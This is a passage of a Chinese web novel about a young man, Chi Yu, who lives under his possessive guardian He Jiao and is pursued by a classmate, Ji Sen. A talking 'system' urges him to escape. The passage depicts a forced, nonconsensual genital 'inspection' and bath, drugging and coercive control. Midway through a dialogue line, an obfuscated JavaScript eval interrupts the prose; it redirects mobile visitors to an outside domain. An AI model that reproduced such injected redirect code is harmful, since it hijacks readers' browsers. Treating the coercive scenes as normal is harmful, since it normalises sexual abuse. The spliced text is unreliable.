“别怕。”贺骄轻柔地拍打迟瑜的脊背,低下头来,将自己的侧脸与迟瑜的挨在一起,“小鱼,别怕,我一直都在,我们永远在一起。” 迟瑜却抖得更厉害,后背沁出一层细密的冷汗。 “回家了。” 贺骄的声音将他从噩梦中拉出来,迟瑜紧紧搂住贺骄的脖子,像抓住之后的救命稻草一般,喃喃道:“回我们的家,我要和你待在一起。” “小鱼,乖乖听话,不要乱跑。”贺骄将迟瑜搂在怀里,安抚地顺着他的脊骨一遍一遍抚摸着,“季森不是什么好人,他在京市犯了事,才被家里扔到这边来的。” “不要离他太近,他会欺负你,会其他所有人还要过分得多。” “待在我身边,我才能保护好你。” 迟瑜眼神有些空,贺骄的脸倒映在他瞳孔中,仿佛带着能掌控一切让人信服的魔力,迟瑜听着他心跳的声音,竟觉得很安心,于是又重新将脸埋进他怀里去。 “睡吧,睡醒了,就又是新的一天了。”贺骄轻轻捏着迟瑜的后颈,时不时捋捋他头发。 迟瑜的确已经很累了,在贺骄怀里动了动,找到一个舒服的姿势,很快便睡着了。 系统急得在他脑袋里大喊: 【宝宝,你别被他PUA了,这个人也不是什么好东西!】 “好吵……” 迟瑜皱着眉,换了个姿势又继续睡去。 什么时候回到贺家的迟瑜一点也想不起来了,迷迷糊糊的,他只感觉到有一双手脱去了他身上的浴袍,灯光的亮度刺得他眼睛有些不舒服,他懵懵地睁开眼,手上摸到一片毛茸茸的触感。 迟瑜身体动了动,发觉自己赤身/裸/体躺在雪白的地毯上,水晶灯投射下有些刺眼的光芒,好一会儿,他才适应了这个亮度。 贺骄也换了一身家居服,赤着脚站在迟瑜身边,目光落在他身上,迟瑜一瞬间就清醒了。 贺骄有洁癖,那件属于季森的睡袍和今晚接他时穿的衣服估计已经躺进垃圾箱里了,即使早有这个认知,迟瑜还是羞耻地并拢了腿将自己蜷成一团。 贺骄蹲下来,握住迟瑜的脚踝,不容置疑地将他一双腿拉开:“小鱼,放松一点,我得检查看看,你有没有被欺负。” 这是一个充满审视意味的姿势,迟瑜内心里感到不适,但贺骄想做的事,他向来是无法抗拒的,迟瑜又有点想哭了,于是抬起手臂遮住眼睛,轻声说:“灯好刺眼。” 贺骄置若罔闻。 温热的手指在他下唇上揉了揉:“嘴唇好像有点肿,脖子也被人咬了。” 迟瑜顿了一下,他只记得自己在那条小巷子里咬了季森的嘴唇,或许就是当时磕肿了,至于脖子,都怪季森那条疯狗。 贺骄的眼神看得迟瑜鸡皮疙瘩都快起来了,他甚至有种错觉,贺骄想要在那咬痕上撕咬掉一块血肉来。 迟瑜硬着头皮撒谎,牙根都有些打颤:“我……我不知道,我当时晕过去了,什么也不记得。” 但好在贺骄并没有真的做什么,只是不置可否地嗯了一声,手 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贺骄扶了下眼镜,神色未变。 迟瑜大脑一片空白,抖得厉害,浑身紧绷呜呜咽咽地喘气,眼泪瞬间便决堤了。 “分开些。”贺骄又重复了一遍,用膝盖顶了顶他。 迟瑜呜呜叫了两声,终于回过神来,他心里感觉到难堪,没去回应贺骄的话,只是抗拒地小幅度挣动着,双腿却不自觉放松了些,迟瑜知道如果要让贺骄开口说第三遍,那他的处境一定会比现在更难堪百倍,他连反抗都不敢倾尽全力,只敢小声呜咽着反复祈求说不要这样对他。 连求饶都像是在撒娇。 □*□ 迟瑜咬紧牙关,没发出一丝声音,眼神呆滞地盯着天花板,泪珠却大颗大颗滚落下来。 “检查结束了。” □*□ 迟瑜感受到贺骄给他按腿的某根手指浸了水一般湿润,大脑越发晕眩,眼泪也落得更厉害了些。 “怎么看着这么可怜,哭得好让人心疼。” “季森欺负了你,我会让他为此付出代价。” “小鱼,说说吧,今晚怎么回事。” 贺骄弯了弯唇,躬下身体用侧脸轻轻碰了碰迟瑜脸颊,迟瑜眼睫猛然一抖,他挣扎坐起来,眼泪簌簌落在贺骄手臂上,说话也有些语无伦次: “我被下药了,季森跟踪我,后面我晕倒了,很多事我都记不清了,再醒过来的时候,就在他家浴缸里了,他给我洗冷水澡,都是季森强迫我的,我把你搬出来了他也不听。” 贺骄伸手接住了他的一滴眼泪,捻化在手心里:“后来呢,他在你身上留下那么多痕迹,他对你做什么了?” 【我去,好像一个绿帽癖在追问老婆和小三左爱的细节呢。】 【这也太过分了,他不是检查过了吗,都知道了还要亲口听你说出来,终极绿帽癖了属于是!】 怪声怪气的机械音听得迟瑜都快要分裂了。 他连声否认:“没有做,真的什么也没有做。” 但贺骄的眼神好像能洞察一切,迟瑜气势逐渐弱下去,他眼睫止不住地颤,愈发语无伦次:“什么也没有发生,我不记得了,真的,我一直在反抗。” 贺骄盯着迟瑜的眼睛看了会儿,才揉揉他的脑袋:“我当然相信你。” 迟瑜颤抖地咽下口水。 【看来是过关了,宝宝你别怕了。】 “没那么简单。”迟瑜心跳并未舒缓下来,缓缓闭上了眼睛。 他的话在下一秒得到印证。 贺骄将他横抱起来,迟瑜察觉他走的方向并不是往自己的房间。 是浴室。 “我洗过澡了。”迟瑜还想再挣扎一下。 “小鱼,从外面回家来一定要洗干净,不然会生病的。” 迟瑜低垂眼睫,又在嫌弃他脏。 浴缸里提前的水温恰到好处,热乎乎的很舒服,上头飘着厚厚一层雪白的泡沫,迟瑜下意识想要将自己的身体掩盖在泡沫下面。 贺骄将手伸到了水底下。 迟瑜立即就明白了他想做什么,曲起腿缩成一团。 “乖,洗干净了就好好睡觉,明天也不必去上课了。” 迟瑜一颗心坠到了谷底。 双腿被强硬分开,腿/根的皮肤接触到温热的水液,修长的手指触碰到他腿心深处。 迟瑜睫毛抖了一抖,闭上了眼睛。 8. 第 8 章 迟瑜这一觉睡得很不安稳,梦里有关妈妈的记忆又出现在眼前。 那张温柔美丽的脸上沾着血污,乌黑柔顺的发丝也凌乱得不成样子。 女人神色癫狂面容苍白,丝绸长睡裙上晕染开大团血迹,如娇艳欲滴的红玫瑰,她从地上捡了一把折叠刀,慢慢爬过来,在昏暗的光线下拉出猩红的轨迹。 “宝宝,不疼的,睡一觉,妈妈带你去找爸爸。” 迟瑜听到自己惊叫哭喊着叫妈妈,缩在墙角退无可退,伸出一双小手试图去搂住失控的母亲。 “妈妈,妈妈,不要——” 刀刃划破血肉的恐慌和刺痛让他忍不住惊声尖叫起来,蜷在他怀里的小猫尖锐地叫了一声,朝女人扑了出去。 “啊——” 迟瑜猛然坐起在床上,颤抖着气。 他后背都被冷汗浸湿了,额角也渗出细密的汗珠,恍惚地坐在床上许久,一缕阳光从厚窗帘的缝隙里照在他手上,光尘在他手心里跳动,像是微弱暗淡的星芒。 迟瑜呆呆地看了许久。 【你还好吧,宝宝,贺骄昨晚给你洗完之后就把你抱回来了,坐在床边看了你大半夜,可吓人嘞。】 【你是被他吓晕了还是睡着了?】 【他一直盯着你,我一直盯着他,好在他什么也没做,清早的时候的时候接了个电话就出去了。】 【我看他表情不太对,宝宝,你要小心。】 “我知道了。” 迟瑜回过神来,原来昨晚他后来晕过去了吗,身体差这一点竟然也算是发挥了点作用,他苍白的脸上挤出来一个笑容,“还好有你陪着我。” 他这话说得真心实意,系统的到来让他的生活有了些变数,但昨晚它叽叽喳喳的陪伴,也确实让迟瑜觉得,没那么孤独了。 好歹也是熬过这一关了。 【嘿嘿,我们是好伙伴啊,我权限比较低,能做的很少,但放风盯梢还是可以的。】 【你刚才做什么梦啦,表情好痛苦,我一直叫你都叫不醒。】 【是不是在梦里他们欺负你啦?】 【贺骄真是太坏了!】 “没有。”迟瑜摇摇头,起身来给自己倒了一大杯凉水水喝下去,才觉得整个人清醒了许多。 “贺骄,他其实是个好人。” 迟瑜低声说,不知道这句话是对系统说的,还是对他自己说的。 【才不是,他对你好坏的,宝宝你千万别被他迷惑了!】 迟瑜弯起眉眼笑了笑,没再解释。 他看了下时间,已经快到中午,迟瑜下楼转了一圈,管家说贺骄一大早就出去了,给他在学校里请好了两天假,要他好好在家休息。 家里空荡安静,佣人也各忙各的。 迟瑜觉得无聊,吃了点东西就又回房间了。 住在贺家的这几年里,绝大部分时间,这栋别墅里除了佣人之外,就是他和贺骄互相陪着对方。 甚至贺骄出国念书的那两年,也将迟瑜带去国外念的中学。 青梅竹马,落难相救,这么多年形影不离,即使他们的关系从没挑到明面上说破,也仍有许多人觉得,他这只金丝雀,迟早能找到机会把名分坐实。 但只有迟瑜知道,永远不会有这样一个时机,因为他和贺骄,从来就不是外界传说的那种关系。 其实当年迟家出事之后,他因为受了刺激,小时候的记忆并不连贯。 但在迟瑜印象中,他和贺家的渊源往前推能追溯到很小的时候。 说是青梅竹马,但其实故事里并不止他们两个人,而且那时候坐在轮椅上的贺骄性格孤僻又阴郁,迟瑜即便是已经记不太清一些细节了,但也能分辨出小时候的贺骄和现在的他简直判若两人。 在迟瑜快四岁时,贺家父母才从国外回来天南市定居,两家因为生意上有合作,于是来往密切,父母之间关系也很好,贺骄的妈妈,那位温柔明艳的祈女士,尤其对小小地迟瑜喜爱有加,迟瑜小时候玉雪可爱,像只漂亮的糯米团子,见了人就甜甜地要抱抱,要亲亲,而她自己的两个孩子,性格都从小沉稳又安静,也不是说不好,只是谁家父母不喜欢甜美可爱的孩子对着自己撒娇卖乖? 迟瑜和贺骄第一次见面,是贺家父母领着贺骄上门拜访,因为一些原因,要将年幼的贺骄寄养在迟家两个月,迟瑜被妈妈牵着手,对这个坐在轮椅上的小哥哥充满了好奇,哒哒哒地跑过去,肉嘟嘟的小手搭在贺骄膝头,天真地歪着脑袋问:“哥哥,你怎么不下来玩?” 当时贺骄皱着眉,嫌恶地将他一把推开,迟瑜一屁股摔在地上,委屈得哭叫出声,隔着眼泪,他看见贺骄冷漠的神情,于是哭得更狠了几分。 祈女士第一时间将他抱起来,一群人耐心地围着他轻声细语哄着,迟瑜许久才停止了哭泣,那时贺骄就连同他的轮椅一起,如透明人一般静止在角落的阴影里。 迟瑜没看见他紧抿的唇角和推人之后绷得发白的指尖。 贺骄寄居在迟家的那段时间,经常窝在房间里不见人,偶尔出来,也是在天台上一坐就是一下午,迟瑜有时候在花园里玩,一抬头就能看到那道沉默的瘦削的身影。 迟瑜再仰头去看,天台上的人影又消失了。 贺家的医生每天都黄昏时会进入那间房,一小时后再出来,但贺骄始终没有离开他的轮椅。 妈妈叹着气说,贺骄哥哥腿受伤了,很孤单,那天不是故意推宝宝的,他可能只是,不知道要怎么和其他孩子相处。 他那时年纪小,又被捧在手心里如珠似宝被宠爱着长大,压根儿不懂记仇,他从来没见过贺骄这样古怪的小孩,才短短几天,就好奇心作祟,忘记了摔在地上的疼痛,又抱着妈妈新买给他的小熊宝宝去找贺骄。 他将小熊放在贺骄门口,然后偷偷观察,贺骄有时进出房间,都对地上的小熊视而不见,几次之后,迟瑜就坐不住了,他抱起小熊,哒哒哒跑到贺骄面前,将小熊放在贺骄腿上,歪着脑袋笑吟吟:“送你的礼物,贺骄哥哥。” 贺骄那时的表情迟瑜已经记不得了,但是小熊安稳躺在那双一动不动的腿上,没有摔落在地上。 迟瑜记得自己那时应该是很开心的,他一直很想要个哥哥,贺骄哥哥虽然脾气不太好,但长得好看,比他幼儿园里见到的其他小哥哥都要好看。 从那天以后,他和贺骄关系就亲近了许多,迟瑜单方面认为的。 他推着贺骄在花园里看蚂蚁搬家,把风筝绑在轮椅上推着跑,跑得气喘吁吁了,就跳到贺骄腿上坐好,搂好贺骄的腰,指挥着贺骄哥哥驱动他的电动轮椅在院子里转圈圈,晚上又缠着贺骄一起看绘本。 妈妈说,叫他不要缠着贺骄哥哥这样紧,当心惹人讨厌。 迟瑜那时刚从幼儿园里学到了讨厌的意思,叉着腰大声地反驳妈妈:“贺骄哥哥才不讨厌我,贺骄哥哥可喜欢我了,我也喜欢贺骄哥哥!” 贺骄那时坐在凉亭下翻书,听见这话,只是翻页时停顿了一下。 在那之后,不知从什么时候起,迟瑜发现贺骄对他态度也逐渐软化了,甚至偶然迟瑜还能见到他露出极淡的笑。 他原本以为,他会和贺骄哥哥关系越来越好,直到三个月寄居时间到了之后,贺家父母来接贺骄回家。 那时迟瑜才知道,贺家原来有两个孩子,贺骄有个大他两岁的哥哥,随母姓,名叫祈臻。 祈臻年长迟瑜5岁,谦逊有礼,温和爱笑,一身书卷气,身材颀长,举手投足之间沉稳可靠的气质,简直满足了身为独生子的迟瑜对哥哥的一切美好幻想,祈女士向他介绍祈臻时,哄着让他喊哥哥,迟瑜当时搂着妈妈的手悄悄看过去,扭扭捏捏喊了一声祈臻哥哥。 贺骄当时轮椅就停在他身侧,迟瑜那时所有注意力都在这位新哥哥身上,丝毫没注意到贺骄当时坐在他身侧时的神情。 后来每回贺家两兄弟过来玩时,迟瑜总是会更粘着祈臻多一点,对贺骄 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迟瑜不知道那两年发生了什么,但再次归来的贺骄的性格变了许多,他那时精神不太好,也没有太多精力去关注别的事,有时候他和贺骄不说话就默默坐在一起时,迟瑜偶尔会觉得贺骄似乎比之前轮椅时期还要更冷漠,走路虽然还不是那么利落,但也很趋近于正常人了。 他们几乎都在转瞬之间就失去了所有的家人,或许是因为同病相怜,又长时间抱团取暖,迟瑜总觉得自己和贺骄之间,也许还是有一些真实的感情在的。 贺骄只比迟瑜大三岁,父母和兄长离世的时候他也才十三岁,一夜之间贺氏企业被他的叔叔和姑姑把持着,贺骄处境艰难,在这个节骨眼上住近贺家的迟瑜更是成了所有恶意的中心。 不知道贺骄和长辈们是怎么说的,总之等到迟瑜出院的时候,迟家的债务也都由贺家帮他一并还清了。 迟瑜先前偷听父母争吵时听过那个金额,对他来讲几乎是天文数字。 他实在欠贺骄很多,多到他根本不知道要怎么才能还清。 也因此,外面很多谣言说迟瑜从小就把自己卖给贺骄之类的,也并不是空穴来风。 虽然贺骄从没和他说过那些事,但迟瑜也能隐隐猜到,面对野心勃勃的亲叔叔,年少的贺骄为了帮他一定付出了很大的代价,甚至后面被送出国去念那所很水的贵族商学院,也是当时妥协的结果。 也因此,迟瑜逐渐懂事之后一直很感激贺骄在他最痛苦的时候将他拉出深渊,也一直对贺骄心怀内疚。 贺骄很少和他说那些,但迟瑜也知道贺骄那些年处境很难,贺家偌大的产业,觊觎的人不在少数,想要使绊子的人甚至要他性命的人也不少,幸亏还有贺骄亲小姨明里暗里护着。 迟瑜被许多人逼问过和贺骄的关系,他们拿那些尖酸下流的刺他,迟瑜听多了心底也不禁有些悸动,他曾经也问过贺骄,为什么要帮他,甚至鼓起勇气问过贺骄是不是真的喜欢他。 贺骄当时只是直勾勾地看着他,表情似笑非笑,指尖上钢笔灵巧翻转:“你在想什么呢,小鱼。” “喜不喜欢的,你难道感觉不出来吗。” “出去吧,在我工作的时候不要随意打扰我。” 迟瑜的脸一瞬间像下进油锅的虾子,尴尬到无地自容,几乎仓皇逃窜着离开了贺骄的书房,此后也再没提起过这之类的话。 只是迟瑜后来逐渐发现,贺骄虽然不喜欢他,但对他的控制欲却近乎病态,吃什么饭穿什么衣服,房间的布置学校的选择,大事小情都要亲手过问,迟瑜起初很不适,甚至因此离家出走和贺骄单方面闹掰过,但后来贺骄又恢复成了最初那个透明人,又发生了一些事,他最终还是回到了贺家。 也许是他的本性太过随遇而安,在经历过那些事情之后,除了他这条命也没有其他特别看重的东西,因此长久的相处下来,迟瑜竟也适应了和贺骄之间这种难以言说的相处模式。 但随着年岁的增长,他对贺骄最初的那点意动的错觉,也逐渐湮没在时光的洪流中了。 9. 第 9 章 迟瑜依照贺骄的安排,在家好好修养了几天。 他在贺骄的安排下,提前结束了国外的学业,就读了天南市贺家投资控股的一所知名贵族高校——圣莱茵学院学美术,现在念大二。 而贺骄凭着父母公证过的遗嘱和小姨家的帮助,一路拼杀过来,在经过一些波折之后,还是接手了贺家的产业,只是贺家他那些叔辈仍然贼心不死,贺骄这年轻的家主,位置坐得也不算太稳。 迟瑜对自己的大学生活还挺满意的,学业轻松,大学生涯也平淡无波,除了偶尔他感觉到有些人看他的眼神有些奇怪之外,其他大部分时候他和同学们的相处都很正常,虽然也没交到很好的朋友,但相比起出国前的水深火热,迟瑜已经十分知足。 假期结束前,迟瑜终于想起了那天被遗忘在宴会厅里的手机,他去画室里找了找,果然在小茶几上找到了,想来应该是贺骄给他拿回来的。 贺骄那天说,给他下药的人,再也不会出现在他面前。 迟瑜不知道他说的再也不会出现,是哪种情况,但总归,短时间内他们总会消停了。 【对了,说来奇怪,那天季森一开始明明没有被提示主角身份的,但你和他马赛克的时候,突然就被触发了。】 【我回去问了一下同事们,他们说咱们这种任务,可能需要肢体的亲密度达到一定的阈值才会得到任务对象的提示。】 【那贺骄呢,你有被贺骄舔过吗,或者更亲密的行为?】 迟瑜认真回想了一番,很确切地摇摇头:“没有。” 迟瑜很确定,他和贺骄最过火的时候大概也就是昨晚了,但系统并没有任何提示,却早早地就判定了贺骄的主角身份。 【那就奇怪了,也有可能是bug。】 【不管了,我也一直有在学习最新的攻略,宝宝咱们一起加油!】 “好。” 手机早已没电关机了,迟瑜拿到书桌旁去充电,提示有新的未读微信消息,来自他的学院里的一位外聘教授——陆斯衍。 那一位很年轻的老师,也是一位非常优秀的年轻画家,在国内外办过许多次画展,热衷公益事业,他的画作曾不止一次在公益拍卖会上拍出高价,再加上神秘的身世和优越的外形,这位教授在学校里人气很高,在去年刚加入学院的第一年就成为成为学校论坛里最受欢迎老师排行榜投票断层第一。 那位老师似乎是个混血,轮廓深邃,眼睛是奇特的蓝色,如同雾霾天看见的海面。据说和校董会关系匪浅。 尽管迟瑜对这些并不关心,但依然对这位老师印象很好,许多次他在专业方面有困惑,陆老师都非常详尽地给了他启发。 迟瑜还挺喜欢自己的专业,专注画画的时候他那些乱七八糟的杂念都能被暂时抛之脑后。迟瑜这两天有时候甚至会天马行空地想,如果哪天贺骄如众人期待的那样真的把他赶走,那他就去天桥底下支个摊,或者赶潮流直播画画,大概也能养活自己。 迟瑜点进微信。 [陆老师:迟瑜同学身体好些了吗?] 迟瑜看了眼消息时间,12点零6分,他才想起来今天上午10点钟有陆斯衍的课,应当是课后给他发来的消息。 [鱼:老师我身体已经恢复好了,明天就可以来上课。] 陆斯衍大概正在看手机,很快就回复过来。 [陆老师:身体最重要,不过美术社团的活动迟同学已经缺席很久了,记得去打卡,这个也会关系到你的学分。] 陆斯衍是他们美术社团的挂名指导老师,迟瑜记起来,自己确实已经很久没有参加社团的活动了。 [鱼:谢谢陆老师关心,下午的社团活动我会来的。] [陆:好,结束之后来一趟我办公室,关于烟水古城下乡写生的事需要和你再确认一下细节。] 迟瑜顿了一下,才回复过去。 [鱼:好的老师。] 迟瑜退出和陆斯衍的聊天框,指尖在置顶的贺骄头像上停了会儿,最终还是没点进去。 外出写生的事,贺骄曾对此表达过明确的态度,就是不赞成。 他正出神着,突然弹出来一条好友申请。 纯黑头像,昵称只有一个句号。 迟瑜点进去看了看,好友申请界面显示已经申请两次,但什么留言也没有,他想也没想就点了拒绝,而后关上手机让它继续充电。 迟瑜吃过午餐之后,就坐在花园的秋千椅上画图,他有一位长期收稿的单主,虽然没见过面,却十分靠谱,迟瑜和他认识了三年,也还是线上交流,除了邮寄画稿之外,很少聊到其他的。 迟瑜之前在国外上学的时候,曾在社交媒体上发过几次自己画的图,流量很低,没什么人看,他也从没指望过能靠这个变现。 直到后来某一天,他后台收到一条私信,问他是否愿意出售画稿,池瑜以为是骗子,于是已读不回,但对方却很坚持,连着发了几个月,一度表示很喜欢迟瑜的画,希望能长期交易,甚至可以先付一大笔定金。 迟瑜这才意识到,对方是来真的,但他依然没回应,只是出于礼貌,每回对方的私信他都会看看。 迟瑜的美术启蒙老师其实是他的母亲兰雪。 兰雪生前也算是国内小有名气的画家,大大小小的画展开了不少,迟瑜刚会握笔的时候,她就试图引导自己唯一的孩子学画画,但很可惜的是,当时迟瑜对画画毫无兴趣,每回兰雪拉着他练习的时候,他都要找各种理由逃避掉,要不就交上一份乱七八糟的作业应付妈妈。 久而久之,这位年轻的优秀画家终于接受了自己的孩子对这一行毫无兴趣和天赋的事实,遂放弃了这个念头。 但在她去世之后,失去了所有亲人的迟瑜在面对贺骄询问的时候,鬼使神差地说想学画画,这一学,竟然坚持了这么多年。 贺骄回国前偶尔有空的时候,会带着电脑和文件来陪他画画,迟瑜有次想到那个锲而不舍想同他买画的账号,开玩笑似的隐晦和贺骄提了一句。 贺骄也没当真,摸着他的脑袋,笑吟吟:“小鱼,何必这样较真,当初学的时候就说了,只是打发时间的玩意儿,有我在,难不成还需要你靠这个吃饭?” 迟瑜当时垂下眼帘,什么也没说,只是默默上色。 也在那一天,贺骄改了主意,他原本是想在自己彻底站稳脚跟完全掌控贺家之前,先让迟瑜远离一切是非,就在国外深造,但那天迟瑜将画好的图揭下来之后,贺骄定定看了片刻,最终和迟瑜说,要他和自己一起回国。 迟瑜没有拒绝的权利,同以往一样点头同意了。 只是当天晚上,他照常在社交平台发了图,却鬼使神差地没有如常立即关闭网页,而是盯着屏幕坐了会儿,手心都快要被指甲嵌出血来,也不知道自己在等什么。 直到后台跳出消息提示的时候,迟瑜的心才猛然漏了一拍,而后心跳持续加速,他不知道自己那一瞬间头脑充血是怎么回事。 只是这次他没有再无视那个账号抛来的橄榄枝。 这是他唯一一件对贺骄刻意隐瞒的事,可能是妈妈在天有灵眷顾他,这件事到现在也没有被贺骄揭穿。 对方给出的价值比市场约稿价格稍高一些,也并没有高太多,迟瑜逐渐也就放下了戒心,唯一让他感到奇怪的是,对方不接受电子稿件,只要纸质画稿,寄到对方提供的一个国外地址。 迟瑜为此困惑过,他并不觉得自己的画技高超到会有人不嫌麻烦想方设法也要得到的地步。 但对方态度很诚恳,迟瑜最终决定试一试,他收了定金之后,尝试着寄了一本自己的画册过去,对方收到后给他发了很长的邮件讲自己对画的理解,且再次表达了欣赏之意。 那一刻迟瑜心里有种说不出来的雀跃,这是一种久违的感觉。 以及,他已经很久没有过这种,原来他也是有用的、能创造价值的成就感。 于是这一交易,就是将近三年。 迟瑜也攒了十几万的小金库,他偷偷开了张卡把稿费单独存了起来,这些钱虽然不多,甚至比不上贺骄给他的零花钱的零头,但迟瑜依然很高兴,很安心。 他在花园一坐就是几个小时,他们美术社的活动安排在下午5点钟。 迟瑜将画好的图仔细揭下来,签上名字,而后夹进册子里。 他搬进贺家时候,把兰雪留在家里的画稿都带了过来,贺骄没说什么,只是将迟瑜房间隔壁的客房给他打通之后单独设计了一间储藏室,这是他在贺家仅有的绝对私人的空间,就连贺骄也很少进去。 迟瑜将兰雪仅存的画稿和相册收在里面,刚来贺家的那一年,他精神很不对,几乎不能和旁人正常相处,每天就抱着这些画一页一页翻看,整夜失眠,几次之后终于被贺骄发现了,他强制拉着迟瑜做心理疏导并和他同住了将近两年,直到迟瑜夜晚基本不再做噩梦了才允许他搬回自己的房间。 后来迟瑜开始学画之后,也习惯于将自己的练习稿件也都归置好一起放在里面,偶尔一个人在家时就进来坐坐发呆,翻翻相册,时间也过得很快。 迟瑜不知道单主的名字,只知道对方的网名“Z”,他登上邮箱,发了一封邮件过去,大意是这几天会找时间寄出稿件。 【哎,宝宝,我发现其实你也有一颗叛逆的心。】 【本系统看好你哦~】 迟瑜发完就关上电脑,歪起头笑笑说:“我争取让你顺利转正。” 他又吃了些点心当做晚餐,才让司机送他去学校。 车子甚至还没有驶出前庭花园,背包里的电话就响了。 是贺骄。 迟瑜并不意外。 “怎么不在家好好休息?” 贺骄的声音从耳机里传来,迟瑜清晰地听见密集的键盘音。 “我在家待着也无聊,美术社的活动我之前已经缺席过几次了,这回还不去感觉不太好。”迟瑜手指不自觉卷着上衣下摆。 电话那端顿了一下,他听到细碎的谈话声,贺骄在忙工作,迟瑜没有催促,转过头看着窗外缓缓后退的绿树。 过了会儿,贺骄又开口:“大概几点结束,我去接你。” “不确定,社团活动之后我还要去陆老师办公室一趟。” “还是说古城写生的事?” “应该是。” “小鱼,”贺骄那边的键盘声和交谈声都彻底停止,他轻叹了一口气,“这件事我以为我们已经达成共识了,等我这边的项目结束,年前我可以休一周假,去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383204|184151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古城或者其他地方你来选。” “可我已经缺席好几次了……” 贺骄打断了他:“小鱼,我现在有点忙,7点钟我这边会议结束,稍后我去接你吃晚餐,这件事陈秘书会去和你们陆老师沟通。” 迟瑜没说话,电话挂断之后,他随机播放了纯音乐歌单。 【我靠,宝宝,司机是他的眼线吗?】 迟瑜突然感觉车里闷得慌,就将车窗降下来,他将半个手掌伸出去感受窗外的凉风:“何止司机。” 【变态啊变态,好可怕,快点完成任务摆脱他吧。】 迟瑜抓了会儿风,手就凉得发麻,他咳嗽了一声,将手又缩回来,双臂交叠着趴在车窗里,问系统:“你真觉得我能做到吗?” “我一直都是很平庸的人,从小到大都不聪明,没有什么长处,也从来没有在哪一方面表现得很出彩。” 【当然了,宝宝,千万不要妄自菲薄,你很厉害的,在我心里,你是全世界最厉害的人。】 【我相信,离开了贺骄你会活得更好。】 迟瑜莞尔一笑。 系统这样说,可能是因为自己是这位实习系统目前唯一接触比较多的人类。 他还没回什么话,便听见系统音响起: 【检测到触发剧情任务:限时24小时,请接受陆斯衍的邀请,参加烟水古城写生活动。】 【咦,有任务了!】 系统在发布任务时,会变成更接近于毫无感情的机械语调,而在日常说话时则情绪更加生动,迟瑜已经很习惯于它在这两种状态之间切换。 “你刚才也听见了,贺骄不许我去。” 快要靠近学校,迟瑜将车窗升了起来,接送他的这辆车在学校里畅行无阻,几乎所有关注的人都知道这是贺家的车,正如他和贺骄的关系所有人心知肚明一样。 【宝宝,剧情任务是无法拒绝的。】 【我不想你走上原著的结局,你要好好活着。】 【你和他们都不一样,别让这些烂人干扰你的人生。】 迟瑜怔住了,端正搭在腿上的手不自觉捏紧了:“你为什么这么讨厌贺骄还有季森他们,他们可是主角。” 系统闷闷地说:【欺负你的我都讨厌。】 【他们只会把你拖进泥潭推进深渊,远离是唯一的办法,宝宝,踏出第一步就好了,真的没那么难。】 【我会陪着你的。】 迟瑜神似一晃。 泥潭?深渊? 为什么会这样说? 【宝宝,你不想要自由的人生吗?】 自由,这个词他只在诗歌里读过,迟瑜有些困惑:“你觉得我现在很不自由吗,是因为贺骄不让我参加古城写生?” “他只是担心我在外面出事,因为我从小到大经常会生病,他放心不下而已。” 【这都是他的借口,宝宝,他肯定不是什么好东西。】 迟瑜深吸了一口气平复心情:“你让我再想想。” 车子停在学院楼背后,三五成群的学生坐在草坪上写生,迟瑜感受到有目光落在他身上,他抿抿唇,拎起背包拒绝了司机送他进活动室的提议,快步走进了电梯。 活动室在9楼,这个点艺院大楼人不少,但主要集中在低楼层,9楼主要是独立画室,基本不开放给普通学生,这个点离社团活动还有还有一段时间,迟瑜缓步往里面走,准备随便找个地方坐会儿先发呆,却在经过一扇半开的门时被一只手猛然拽住。 迟瑜吓了一跳,险些叫出声来,他低头看过去,一只极具力量感的大手钳在他手腕上,肤色差和显而易见的体型差让他眼皮一跳,几乎瞬间便猜出了这只手的主人。 一股大力将他拉了进去,而后迅速将门合上,迟瑜后背抵在门上,铁门猛然关闭的响动震得他眼前一花,下意识伸手在面前找个东西抓住,于是那只原本松开了的大手就又重新握住了他的手腕。 “喂,不至于吧,应该没磕到你脑袋啊。”季森另一只手试图去摸迟瑜的后脑,绕了一圈轻轻蹭过迟瑜脸侧。 【凑不要脸的,占我宝宝便宜。】 “我没事,怎么不开灯?”迟瑜用力眨眨眼,他眼前猛然陷入了一片黑暗中,什么也看不清,这种感觉让他脚底下像踩在棉花上一样,轻飘飘的很没安全感:“季少,你找我做什么?” “灯坏了,不然早开了。”季森挑眉,“一下就认出来了,看来我那天晚上给你留下的印象很深刻。” 两人过近的距离让迟瑜脑袋里忍不住盘旋起那天晚上某些不太好的回忆,他皱着脸想要躲开,伸手去摸自己口袋里的手机:“换个地方,这里太黑了,我什么也看不见。” “你夜盲症?” 季森的视力很好,他查了迟瑜的行踪,迫不及待在这间储藏室里蹲了快两个小时,早就习惯了这里面暗淡的光线,他目光一寸一寸扫过迟瑜的脸,就连他瞳孔中最细微的表情都没有放过。 他看见迟瑜点了点头,几天不见,这张漂亮的脸似乎比那晚还要动人,清凉幽黑的眼瞳里带着一点对眼前黑暗中的危机未知的不安惶恐,雪白的颈子上那晚被他啃咬过的地方已经几乎看不见痕迹了,季森突然有些口干,可惜了没看见自己亲口咬出的标记。 10. 第 10 章 迟瑜下意识摸了摸口袋,才想起手机被他收进了身后的背包。。 仗着迟瑜看不见,季森眼神里的欲望毫不掩饰,看向迟瑜的目光称得上下流,可把系统气得够呛。 “就只有这一间储物室是闲置的,你不是不想让人看见和我拉拉扯扯?”季森语气带着点儿让人莫名其妙的意味。 “你找我有事吗?”黑暗中迟瑜看不见他的表情,也没听出来的语气有什么问题,只觉得这人还算是要脸,他心里也有些担心会被人撞见,只想要季森赶紧说完事离开,便催促说,“季少,我一会儿还有社团活动。” 季森上下打量他,视线恨不得穿透校服的意料窥探到内里的皮肉,挑眉道:“你这几天在家干嘛呢,不会是被贺骄弄得下不来床吧,还是说为了躲我?” 迟瑜脸上又开始发烫,皱着眉很是难为情:“季少,你不要总是说这些话……” “嘁,还不让说了。”季森嗤笑道,“脸皮这样薄,还敢学别人脚踩两条船?” 